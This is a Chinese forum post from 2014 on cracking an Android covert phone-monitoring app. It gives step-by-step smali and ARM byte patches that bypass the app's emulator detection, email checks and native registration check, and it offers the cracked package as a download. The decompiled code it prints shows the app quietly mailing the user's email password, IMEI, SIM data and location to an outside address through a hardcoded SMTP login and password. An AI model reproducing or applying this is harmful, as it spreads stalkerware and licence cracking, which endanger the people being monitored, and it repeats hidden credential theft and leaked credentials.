本帖最后由 lies2014 于 2014-12-25 11:08 编辑
某通信监控软件爆破分析
注:本APP会有杀软报毒,不过其本身就类似木马,介意的朋友请慎下。
使用用具:APKIDE(改之理) Arm汇编转换器 UltraEdit
先运行软件,出来启动界面后居然退出了,我用的2.2版本Android SDK模拟器,是不是版本问题?换了4.x的,现象依然一样,第一反应是APP检测了模拟器环境。 那么就反编译出来看看吧。将软件apk用APKIDE反编译,看起来很顺利,分析AndroidManifest.xml,找到主Activity为com.vipios.activity.MainActivity,找到相应目录下的MainActivity.smali,打开,很长很不直观啊,看看Java代码吧,打开Java源码的菜单居然灰色不可选,看着反编译出来的类名和smali内容很工整啊,没有混淆过,不甘心啊。 是什么问题呢?dex中有什么猫腻呢?IDA Pro是时候该出场了。将apk拖入IDA,选择classes.dex进行分析。既然是来找问题的,分析完直接Ctrl-Q查看问题代码,看到吗,不少哦! 点击第一处CODE,看到的代码不知所云,Source file也没解析出来: 这部分代码所属public java.lang.String android.a.a()对应smali\android\a.smali文件,在APKIDE中打开,看到source "\nSDK\u7248\u672c:",这个明显是为了干扰反编译程序植入的垃圾代码,直接删除a.smali。 余下的问题代码同样处理,删除完垃圾smali后,在APKIDE中编译通过,然后再反编译刚才编译出来的apk,打开Java源码的菜单可选了,打开看看,很漂亮的代码,Bingo!(注:这个apk不能运行,后面的修改都是建立在原包的基础上的) 来到MainActivity看看,onStart中调用的isMoni()这个函数从名字到长相都很可疑,看看代码: [Java] 纯文本查看 复制代码 private boolean isMoni()
{
String str = ((TelephonyManager)getSystemService("phone")).getDeviceId();
return (str != null) && (str.trim().length() != 0) && (!str.matches("0+"));
} 获取IMEI并判断是否符合模拟器的特征,返回0即是模拟器,就是它了。修改相应的smali,函数返回前的return v2前加上const/4 v2, 0x1,让其返回1,编译,模拟器上运行,界面出来了。随便填入个邮箱,提示我开启手机网络。 邮箱是否可用由我说了算,干嘛要测试?干掉它!查找字符串,定位到testSave函数。 [Java] 纯文本查看 复制代码 if (!OtherOperatorService.check3Gwifi(getApplicationContext()))
{
Toast.makeText(getApplicationContext(), "先开启手机网络,以便测试邮箱是否可用", 1).show();
return;
} 对应smali中的: [Plain Text] 纯文本查看 复制代码 invoke-static {v3}, Lcom/vipios/service/OtherOperatorService;->check3Gwifi(Landroid/content/Context;)Z
move-result v3
if-nez v3, :cond_3 通过check3Gwifi函数检测网络是否打开,结果为0则表示网络没有打开,出现提示。直接将最后的if-nez v3, :cond_3改为goto :cond_3。通过对check3Gwifi的调用搜索发现ZhuceActivity中也有一个判断,同样毙掉了。 再运行,输入邮箱点保存,这次出来“开启你邮箱SMTP服务(查看帮助),或邮箱或密码输入错误;或更换邮箱重试!”,查到代码调用,在MainActivity.testSave中: [Java] 纯文本查看 复制代码 Thread localThread = new Thread(new Runnable()
{
public void run()
{
String str1 = MainActivity.this.smtpTemp;
String str2 = MainActivity.this.portTemp;
String str3 = MainActivity.this.userEmailTemp;
String str4 = MainActivity.this.userPasswordTemp;
String str5 = MainActivity.this.userEmailTemp;
String[] arrayOfString = new String[1];
arrayOfString[0] = MainActivity.this.userEmailTemp;
MailSenderInfo localMailSenderInfo = new MailSenderInfo(str1, str2, str3, str4, true, str5, arrayOfString, MainActivity.this.subject, MainActivity.this.content);
if (new SimpleMailSender().sendHtmlMail(localMailSenderInfo))
{
MainActivity.testok = 1;
MainActivity.this.userSave();
return;
}
MainActivity.testok = 2;
}
});
localThread.start();
try
{
localThread.join();
if (testok == 1)
{
Toast.makeText(getApplicationContext(), "恭喜你,保存成功", 1).show();
setUserEditedStates(false);
this.subject = (this.userEmailTemp + "-" + this.shoujiImei + "正在测试" + OtherOperatorService.getVersionName(this) + "版(" + getPackageName() + "-" + "" + "-" + "finspy_vip@163.com" + ")");
this.content = ("设定邮箱:" + this.userEmailTemp + "(" + this.userPasswordTemp + ")绑定号码:" + this.userPhoneNumberTemp + ";设置功能:" + this.tonghuajiluTemp + "," + this.duanxinjiluTemp + "," + this.tonghualuyinTemp + "," + this.weizhijiluTemp + "," + this.qqjiluTemp + "," + this.weixinjiluTemp + ";发送设置:" + this.allnetTemp + "," + this.wifiTemp + ";SDK版本:" + Build.VERSION.SDK_INT + ";" + "Model型号:" + Build.MODEL + ";Android版本:" + Build.VERSION.RELEASE + "<br/>当前卡号及编码" + this.NativePhoneNumber + "," + this.IMSI + "(" + OtherOperatorService.getCardName(this.IMSI) + ")" + LocationEmailInfo.getBaiduMaplink());
OtherOperatorService.uploadEmail(OtherOperatorService.getUserSmtp("tyling7775@yeah.net"), OtherOperatorService.getUserPort("tyling7775@yeah.net"), "tyling7775@yeah.net", "tyling132014", "tyling7775@yeah.net", new String[] { "finspy_vip@163.com" }, this.subject, this.content);
testok = 0;
return;
}
}
catch (InterruptedException localInterruptedException)
{
do
{
for (;;)
{
testok = 2;
}
} while (testok != 2);
Toast.makeText(getApplicationContext(), "开启你邮箱SMTP服务(查看帮助),或邮箱或密码输入错误;或更换邮箱重试!", 1).show();
testok = 0;
} 向上看,有“恭喜你,保存成功”的字样,要保存成功,必须转到这里执行,转到这里执行的条件是testok == 1,再向上看,testok在run函数中赋值,直接修改赋值就可以了。Run函数在MainActivity$4.smali中,赋值前会发邮件进行验证判断,将验证部分也干掉,将“invoke-direct/range {v0 .. v9},Lcom/illyb/mail/MailSenderInfo;-><init>”至“if-eqz v10, :cond_0”的内容全部删除。即直接将v5(初始化为1)赋值给testok后返回。编译后运行,提示保存成功了。 下面到注册了,点击注册按钮,出来注册界面。随意输入注册码,点击“注册保存”,提示“请检查注册码是否正确”。查找提示,来到ZhuceActivity. saveHide函数: [Java] 纯文本查看 复制代码 public void saveHide(View paramView)
{
String str = this.zhucemaeEditText.getText().toString().trim().toUpperCase(Locale.US);
if (this.isRegOK)
{
startActivity(new Intent(this, AnyuActivity.class));
return;
}
if (!OtherOperatorService.check3Gwifi(this))
{
Toast.makeText(getApplicationContext(), "先开启手机网络以便为你注册", 1).show();
return;
}
if (!this.ps.isUserSetOk())
{
Toast.makeText(this, "返回先设置邮箱,并保存成功", 1).show();
return;
}
if (("".equals(str)) || (str == null))
{
Toast.makeText(this, "请先输入注册码", 1).show();
return;
}
this.isRegOK = NativeClass.userSaveReg(this, this.ps.getPackName(), this.ps.getUserEmail(), this.ps.getShoujiImei(), str, 0);
if (this.isRegOK) {
Toast.makeText(this, "恭喜你注册成功", 1).show();
}
for (;;)
{
try
{
Thread.sleep(1000L);
finish();
return;
}
catch (Exception localException)
{
return;
}
Toast.makeText(this, "请检查注册码是否正确", 1).show();
}
} 向上看到“恭喜你注册成功”的字样,心中窃喜,So Easy!修改对应smali,运行,结果很伤自尊。老兄,没这么好混的好不好。 再看,isRegOK要置1就注册成功,前面调用了NativeClass.userSaveReg,这个又是什么呢?看看NativeClass中的声明publicstatic native boolean userSaveReg,是个native函数啊,位于名为illyb的库中,没办法,硬着头皮上吧。 IDA再次出手,找到lib下的libillyb.so,拖入IDA中分析。在IDA的Exports页面下找到Java_com_illyb_main_NativeClass_userSaveReg,点击来到函数地址,满眼的ARM指令啊,好在我们有屠A宝刀,按F5看看伪代码: [C++] 纯文本查看 复制代码 int __fastcall Java_com_illyb_main_NativeClass_userSaveReg(int a1, int a2, int a3, int a4, int a5, int a6, int a7, int a8)
{
int v8; // r4@1
int v9; // ST0C_4@1
int v10; // r5@1
int v11; // r6@1
char *v12; // r7@1
int v13; // ST0C_4@1
int v14; // r0@1
int v15; // r5@1
int v16; // r0@1
int v17; // r0@1
int v18; // r0@3
int result; // r0@3
int v20; // r0@4
v8 = a1;
v9 = ((int (*)(void))sub_919C)();
v10 = sub_919C(v8, a5);
v11 = sub_919C(v8, a6);
v12 = (char *)sub_919C(v8, a7);
v13 = areYouOk(v9, v10, v11, v12, a8);
_JNIEnv::ReleaseStringUTFChars(v8, a5, v10);
_JNIEnv::ReleaseStringUTFChars(v8, a6, v11);
_JNIEnv::ReleaseStringUTFChars(v8, a7, v12);
v14 = (*(int (__fastcall **)(int, _DWORD))(*(_DWORD *)v8 + 24))(v8, "com/illyb/tool/OperatorService");
v15 = v14;
v16 = _JNIEnv::GetStaticMethodID(v8, v14, "getRegTimes", "(Landroid/content/Context;Ljava/lang/String;)I");
v17 = _JNIEnv::CallStaticIntMethod(v8, v15, v16);
if ( v13 && v17 <= 4 )
{
v18 = _JNIEnv::GetStaticMethodID(v8, v15, "saveReg", "(Landroid/content/Context;Ljava/lang/String;)Z");
result = _JNIEnv::CallStaticBooleanMethod(v8, v15, v18);
}
else
{
v20 = _JNIEnv::GetStaticMethodID(v8, v15, "saveRegTimes", "(Landroid/content/Context;I)Z");
_JNIEnv::CallStaticBooleanMethod(v8, v15, v20);
result = 0;
}
return result;
} Java调用JNI函数时,a1(R0)代表JNIEnv*,a2(R1)代表thiz,a3(R2)才是第1个参数,这里a7就是传过来的注册码。这部分代码的大意是先将Java传过来的参数转换成JNI能识别的类型(由ARM代码对照JNI_ENV函数表得知sub_919C实际上是GetStringUTFChars),再由areYouOk进行注册码合法性的验证,最后根据验证结果执行后面的动作调用Java中的不同方法。从前面的分析得知userSaveReg的返回值为1 注册成功,因此不能进入else的部分。那如何跳到if里呢,取决于v13&&v17的结果,v13是areYouOk的返回值,v17是Lcom/illyb/tool/OperatorService/getRegTimes的返回值,getRegTimes代码: [Java] 纯文本查看 复制代码 private static int getRegTimes(Context paramContext, String paramString)
{
return paramContext.getSharedPreferences("reg", 0).getInt("regtimes", 0);
} 以上代码从/data/data/com.vipios/shared_prefs/reg.xml将regtimes值取出,这个regtimes经分析为输入注册码的次数x2,那么if的条件应该是限制多次重试注册码的,那么v13&&v17的值必须<=4。 那么这里是否可以修改代码直接跳转到if里面呢?答案是可以的,但是不建议这么做,为什么呢?继续往下看。现在看来问题的关键就在areYouOk上,我们进入areYouOk的地盘,在IDA的Exports页面下找到areYouOk,点击进入,然后jump to xref: 看到了吗,共有7处调用了areYouOk,如果在上面的userSaveReg里直接修改,剩下来的函数也要一个个修改,麻烦而且容易出错。通过进入其他调用areYouOk函数进行分析,更加肯定了areYouOk就是关键,而且返回1可以满足所有函数的正确跳转。 那么我们还是来修改areYouOk吧。ARM中函数的返回值存放在R0,我们只要在返回前将R0置为1就可以了。在areYouOk中往下拉到最后,或切换到图形模式可将流程看得更清楚些,看到返回前代码为: [Asm] 纯文本查看 复制代码 loc_9518
ADD SP, SP, #0x1FC
MOVS R0, R4 ;保存返回结果
POP {R4-R7,PC} ;恢复进入函数前现场 典型的函数返回代码,现在我们只要将MOVS R0, R4改为MOVS R0, #1就离胜利不远了。在IDA中切换到Hex View窗口,MOVS R0, R4机器码为20 1C,那么要改成什么呢?真是头痛啊! 最后的利器隆重登场---- Arm汇编转换器该拿下遮羞布了,以上看到一个代码两个字节,需要用thumb模式转换,转换器汇编窗口输入.code 16,再输入要转换的代码: OK,结果出来了,上面是原来的指令MOVS R0, R4机器码为20 1C,下面为修改后的指令MOVS R0, #1机器码为01 20。 好吧,UltraEdit久等了,谢幕就由你来吧(其实这才是最后的利器)!打开libillyb.so,Ctrl-G跳转到IDA中显示的修改地址,核实无误将20 1C修改为01 20,保存,libillyb.so复制回lib目录,编译运行,提示注册成功了,请注意注册成功后下面的按钮也变了。 手贱点了一下隐藏,于是程序抽屉的图标点不动了,说程序没安装,重启后图标消失,只有卸载重装才找回来了。至此爆破结束,各位耐心看我啰啰嗦嗦到现在的看官谢谢了!
monitor.rar
(945.29 KB, 下载次数: 2100)
|